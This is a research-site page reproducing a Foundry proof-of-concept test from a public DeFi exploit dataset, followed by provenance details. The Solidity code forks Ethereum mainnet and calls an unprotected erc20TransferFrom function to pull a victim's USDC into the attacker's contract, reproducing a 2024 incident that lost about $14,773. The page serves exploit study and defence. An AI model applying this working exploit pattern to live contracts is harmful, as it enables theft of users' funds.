Public reproduction file
src/test/2024-10/Erc20transfer_exp.sol
Public reproduction file for dataset entry Erc20transfer.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";6// @KeyInfo - Total Lost : $14,773.357// Attacker : https://etherscan.io/address/0xfde0d1575ed8e06fbf36256bcdfa1f359281455a8// Attack Contract : https://etherscan.io/address/0x6980a47bee930a4584b09ee79ebe46484fbdbdd09// Vulnerable Contract : https://etherscan.io/address/0x43dc865e916914fd93540461fde124484fbf8faa10// Attack Tx : https://etherscan.io/tx/0x7f2540af4a1f7b0172a46f5539ebf943dd5418422e4faa8150d3ae5337e9217212// @Info13// Vulnerable Contract Code : https://etherscan.io/address/0x43dc865e916914fd93540461fde124484fbf8faa#code15// @Analysis16// Post-mortem : https://x.com/d23e_AG/status/184906416101722564517// Twitter Guy : https://x.com/d23e_AG/status/184906416101722564518// Hacking God : https://x.com/d23e_AG/status/184906416101722564519pragma solidity ^0.8.0;21interface I {22 function erc20TransferFrom(address, address, address, uint256) external;23}25contract Erc20transfer is BaseTestWithBalanceLog {26 uint256 blocknumToForkFrom = 21_019_771;28 function setUp() public {29 vm.createSelectFork("mainnet", blocknumToForkFrom);30 //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit31 fundingToken = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;32 }34 function testExploit() public balanceLog {35 I(0x43Dc865E916914FD93540461FdE124484FBf8fAa).erc20TransferFrom(36 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48, address(this), 0x3DADf003AFCC96d404041D8aE711B94F8C68c6a5, 037 );38 }39}Analysis
Dataset entry
Public Foundry test for “Erc20transfer” (2024-10-22). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
11 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/2024-10/AIZPTToken_exp.solSame month in the dataset · 72 lines
- src/test/2024-10/BUBAI_exp.solSame month in the dataset · 95 lines
- src/test/2024-10/CompoundFork_exploit.solSame month in the dataset · 229 lines
- src/test/2024-10/FireToken_exp.solSame month in the dataset · 146 lines
- src/test/2024-10/HYDT_exp.solSame month in the dataset · 73 lines
- src/test/2024-10/LavaLending_exp.solSame month in the dataset · 451 lines
- src/test/2024-10/MorphoBlue_exp.solSame month in the dataset · 414 lines
- src/test/2024-10/P719Token_exp.solSame month in the dataset · 245 lines
- src/test/2024-10/SASHAToken_exp.solSame month in the dataset · 134 lines
- src/test/2024-10/VISTA_exp.solSame month in the dataset · 87 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xfde0d1575ed8e06fbf36256bcdfa1f359281455a
- Attack Contract
0x6980a47bee930a4584b09ee79ebe46484fbdbdd0
- Vulnerable Contract
0x43dc865e916914fd93540461fde124484fbf8faa
- Attack Tx
0x7f2540af4a1f7b0172a46f5539ebf943dd5418422e4faa8150d3ae5337e92172
- Post: https://x.com/d23e_AG/status/1849064161017225645
- Explorer: https://etherscan.io/address/0xfde0d1575ed8e06fbf36256bcdfa1f359281455a
- Explorer: https://etherscan.io/address/0x6980a47bee930a4584b09ee79ebe46484fbdbdd0
- Explorer: https://etherscan.io/address/0x43dc865e916914fd93540461fde124484fbf8faa
- Explorer: https://etherscan.io/address/0x43dc865e916914fd93540461fde124484fbf8faa#code
File record
- Name
- Erc20transfer
- Path
- src/test/2024-10/Erc20transfer_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 9637702995567c85e153b25f0b7efb09649b2301
- Language
- Solidity
- Size
- 40 lines
- Date
- 2024-10-22
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-10/Erc20transfer_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 9637702995567c85e153b25f0b7efb09649b2301, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.